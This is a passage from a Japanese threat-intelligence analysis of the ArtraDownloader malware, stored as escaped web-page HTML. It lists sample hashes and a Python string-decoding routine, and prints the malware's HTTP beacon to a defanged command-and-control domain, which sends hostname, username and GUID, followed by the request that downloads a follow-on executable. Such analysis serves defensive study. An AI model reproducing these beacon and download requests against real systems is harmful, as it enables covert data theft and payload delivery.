width=\"772\" height=\"104\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_05.png 772w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_05-300x40.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_05-768x103.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_05-370x50.png 370w\" sizes=\"(max-width: 772px) 100vw, 772px\" \/><\/p>\n<p>HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u5168\u4f53\u304c\u524d\u8ff0\u306e\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306b\u66f8\u304d\u8fbc\u307e\u308c\u307e\u3059\u3002ArtraDownloader\u306f\u3001\u6b21\u306b\u3053\u306eHTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u5168\u4f53\u306ePOST\u30c7\u30fc\u30bf\u3092\u30d1\u30fc\u30b9\u3057\u3001\u30aa\u30d5\u30bb\u30c3\u30c80x1\u304b\u3089ZX\u306e\u6587\u5b57\u3092\u542b\u307e\u306a\u3044\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306e\u3059\u3079\u3066\u3092.exe\u62e1\u5f35\u5b50\u3092\u3064\u3051\u3066\u62bd\u51fa\u3057\u307e\u3059\u3002\u524d\u306e\u4f8b\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><img  class=\"wp-image-101250 size-full alignnone lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_06.png\" alt=\"\" width=\"773\" height=\"60\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_06.png 773w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_06-300x23.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_06-768x60.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_06-370x29.png 370w\" sizes=\"(max-width: 773px) 100vw, 773px\" \/><\/p>\n<p>\u30d1\u30b9\u306bZX\u3092\u542b\u3080\u4ee5\u524d\u66f8\u304d\u8fbc\u307e\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306f\u524a\u9664\u3055\u308c\u307e\u3059\u3002\u6700\u5f8c\u306b\u3001\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u304c\u65b0\u3057\u3044\u30d7\u30ed\u30bb\u30b9\u5185\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u304c\u30a8\u30e9\u30fc\u306a\u304f\u751f\u6210\u3055\u308c\u308b\u3068\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u6b21\u306e\u4f8b\u306e\u3088\u3046\u306a\u6700\u7d42HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><img  class=\"alignnone wp-image-101252 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_07.png\" alt=\"\" width=\"779\" height=\"106\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_07.png 779w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_07-300x41.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_07-768x105.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_07-370x50.png 370w\" sizes=\"(max-width: 779px) 100vw, 779px\" \/><\/p>\n<h3>ArtraDownloader\u30de\u30eb\u30a6\u30a7\u30a2\u89e3\u6790 - \u4e9c\u7a2e3<\/h3>\n<p>\u3053\u306e\u5206\u6790\u306e\u6b8b\u308a\u306e\u90e8\u5206\u3067\u306f\u3001\u6b21\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>MD5<\/strong><\/td>\n<td>a1bdb1889d960e424920e57366662a59<\/td>\n<\/tr>\n<tr>\n<td><strong>SHA1<\/strong><\/td>\n<td>177837d0fa5bfd274abe79d80a01cfe2374b4cd9<\/td>\n<\/tr>\n<tr>\n<td><strong>SHA256<\/strong><\/td>\n<td>f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22<\/td>\n<\/tr>\n<tr>\n<td><strong>\u30b3\u30f3\u30d1\u30a4\u30eb\u30bf\u30a4\u30e0\u30b9\u30bf\u30f3\u30d7<\/strong><\/td>\n<td>2018-07-30 09:18:37 UTC<\/td>\n<\/tr>\n<tr>\n<td><strong>PDB\u6587\u5b57\u5217<\/strong><\/td>\n<td>d:\\C++\\new_downloader_aroundtheworld123\\Release\\audiodq.pdb<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\">\u88684 ArtraDownloader\u4e9c\u7a2e3\u306e\u30b5\u30f3\u30d7\u30eb<\/span><\/p>\n<p>\u5b9f\u884c\u3055\u308c\u308b\u3068\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u30b7\u30f3\u30d7\u30eb\u306a\u30c7\u30b3\u30fc\u30c9\u30eb\u30fc\u30c1\u30f3\u3092\u4ecb\u3057\u3066\u4e00\u9023\u306e\u6587\u5b57\u5217\u3092\u30c7\u30b3\u30fc\u30c9\u3059\u308b\u3053\u3068\u304b\u3089\u59cb\u3081\u307e\u3059\u3002\u3053\u306e\u4e00\u9023\u306e\u6587\u5b57\u5217\u3092\u30c7\u30b3\u30fc\u30c9\u3059\u308b\u306e\u306b\u3001\u6b21\u306ePython\u30b3\u30fc\u30c9\u3092\u5229\u7528\u3067\u304d\u307e\u3059\u3002<\/p>\n<pre>def decode(data):\r\nout = \"\"\r\nfor d in data:\r\nout += chr((ord(d)-13)&amp;0xFF)\r\nreturn out<\/pre>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&gt;&gt; print(decode(binascii.unhexlify(\"6E7F7C827B71817572847C7F79713E3F403B7B7281\")))<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&gt;&gt; aroundtheworld123[.]net<\/span><\/p>\n<p>\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u307e\u305aAVG\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u304c\u73fe\u5728\u30b7\u30b9\u30c6\u30e0\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u304b\u3069\u3046\u304b\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3044\u307e\u3059\u304c\u3001ArtraDownloader\u304c\u3053\u306e\u60c5\u5831\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u69d8\u5b50\u306f\u78ba\u8a8d\u3067\u304d\u307e\u305b\u3093\u3002\u30de\u30eb\u30a6\u30a7\u30a2\u4f5c\u6210\u8005\u304c\u5b9f\u884c\u3057\u305f\u30c6\u30b9\u30c8\u306e\u30b4\u30df\u304c\u610f\u56f3\u305b\u305a\u30b5\u30f3\u30d7\u30eb\u5185\u306b\u6b8b\u3063\u3066\u3044\u305f\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u30b7\u30b9\u30c6\u30e0\u306b\u95a2\u3059\u308b\u3055\u307e\u3056\u307e\u306a\u60c5\u5831\u304c\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u3088\u3063\u3066\u53ce\u96c6\u3055\u308c\u3001\u305d\u306e\u5f8c\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u60c5\u5831\u3092\u53ce\u96c6\u3057\u305f\u5f8c\u3001\u6b21\u306e\u3088\u3046\u306aHTTP GET\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">GET \/\/\/healthne\/accept.php?a=WIN-71FN1PE1AT8&amp;b=WIN-71FN1PE1AT8&amp;c=Windows%207%20Ultimate&amp;d=Josh GrunzweigJosh Grunzweig103be7f4-bfb8-40fa-803c-e06bdf9d3bb6365536040965860&amp;e= HTTP\/1.1<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Host: aroundtheworld123[.]net<\/span><\/p>\n<p>\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3067\u3053\u308c\u307e\u3067\u898b\u3066\u304d\u305f\u307b\u304b\u306e\u4e9c\u7a2e\u3068\u306f\u9055\u3063\u3066\u3001\u3053\u306e\u7279\u5b9a\u306e\u4e9c\u7a2e\u306f\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u4ecb\u3057\u3066\u9001\u4fe1\u3059\u308b\u30c7\u30fc\u30bf\u3092\u96e3\u8aad\u5316\u3057\u307e\u305b\u3093\u3002\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u306f\u3001\u6b21\u306eGET\u30d1\u30e9\u30e1\u30fc\u30bf\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>GET\u5909\u6570<\/strong><\/td>\n<td><strong>\u8aac\u660e<\/strong><\/td>\n<\/tr>\n<tr>\n<td>a<\/td>\n<td>\u30db\u30b9\u30c8\u540d<\/td>\n<\/tr>\n<tr>\n<td>b<\/td>\n<td>\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u540d<\/td>\n<\/tr>\n<tr>\n<td>c<\/td>\n<td>\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u306e\u30d0\u30fc\u30b8\u30e7\u30f3<\/td>\n<\/tr>\n<tr>\n<td>d<\/td>\n<td>\u88ab\u5bb3\u8005\u306e\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u30de\u30b7\u30f3\u306eGUID\u3001GetSystemInfo()\u547c\u3073\u51fa\u3057\u3092\u4ecb\u3057\u3066\u30af\u30a8\u30ea\u3055\u308c\u305f\u3055\u307e\u3056\u307e\u306a\u60c5\u5831\u306e2\u3064\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u542b\u3080\u4e00\u610f\u306e\u6587\u5b57\u5217<\/td>\n<\/tr>\n<tr>\n<td>e<\/td>\n<td>\u3053\u306e\u7279\u5b9a\u306e\u30b5\u30f3\u30d7\u30eb\u5185\u3067\u306f\u4f7f\u7528\u3055\u308c\u3066\u3044\u306a\u3044\u3088\u3046\u306b\u898b\u3048\u308b\u5909\u6570<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\">\u88685 ArtraDownloader\u4e9c\u7a2e3\u3067\u89b3\u6e2c\u3055\u308c\u305fGET\u30d1\u30e9\u30e1\u30fc\u30bf<\/span><\/p>\n<p>\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u306e\u4f8b\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HTTP\/1.1 200 OK<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Type: text\/html; charset=UTF-8<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Length: 29<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Date: Mon, 05 Nov 2018 19:22:56 GMT<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Accept-Ranges: bytes<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Server: LiteSpeed<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Connection: Keep-Alive<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">Yes file58368[regdl]35No file<\/span><\/p>\n<p>\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u304c\u30d1\u30fc\u30b9\u3055\u308c\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u6587\u5b57\u5217Yes\u30d5\u30a1\u30a4\u30eb\u3092\u8b58\u5225\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6587\u5b57\u5217\u304c\u5b58\u5728\u3059\u308b\u5834\u5408\u306f\u3001[\u3068]\u306e\u9593\u306e\u30c7\u30fc\u30bf\u304c\u30d1\u30fc\u30b9\u3055\u308c\u307e\u3059\u3002\u6b21\u306b\u793a\u3059\u3068\u304a\u308a\u3001\u3053\u306e\u30c7\u30fc\u30bf\u306f\u7d9a\u304fHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u4f7f\u7528\u3055\u308c\u3001\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">GET \/healthne\/healthne\/regdl HTTP\/1.0<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Host: aroundtheworld123[.]net<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HTTP\/1.0 200 OK<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Last-Modified: Tue, 02 Oct 2018 04:38:28 GMT<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Type: application\/octet-stream<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Length: 58368<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Date: Mon, 05 Nov 2018 19:23:01 GMT<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Accept-Ranges: bytes<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Server: LiteSpeed<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Connection: close<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">MZ\u2026\u2026\u2026\u2026\u2026\u2026\u2026.[TRUNCATED]<\/span><\/p>\n<p>\u3053\u306e\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u540c\u3058\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u66f8\u304d\u8fbc\u307e\u308c\u3001\u63d0\u4f9b\u3055\u308c\u305f\u3082\u306e\u3068\u540c\u3058\u540d\u524d\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u6700\u521d\u306bC:\\\u304b\u3089\u5b9f\u884c\u3055\u308c\u305f\u5834\u5408\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306fC:\\regdl.exe\u306b\u66f8\u304d\u8fbc\u307e\u308c\u307e\u3059\u3002\u6700\u5f8c\u306b\u3001\u3053\u306e\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u304c\u65b0\u3057\u3044\u30d7\u30ed\u30bb\u30b9\u5185\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n<h2>IOC<\/h2>\n<p>\u95a2\u9023\u3059\u308b\u3059\u3079\u3066\u306eIOC\u3092\u542b\u3080CSV\u30d5\u30a1\u30a4\u30eb\u306b\u3064\u3044\u3066\u306f\u3001\u6b21\u306e\u30ea\u30f3\u30af\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p><a href=\"https:\/\/github.com\/pan-unit42\/iocs\/tree\/master\/bitter\">https:\/\/github.com\/pan-unit42\/iocs\/tree\/master\/bitter<\/a><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 \u5c11\u306a\u304f\u3068\u30822015\u5e74\u4ee5\u6765\u3001 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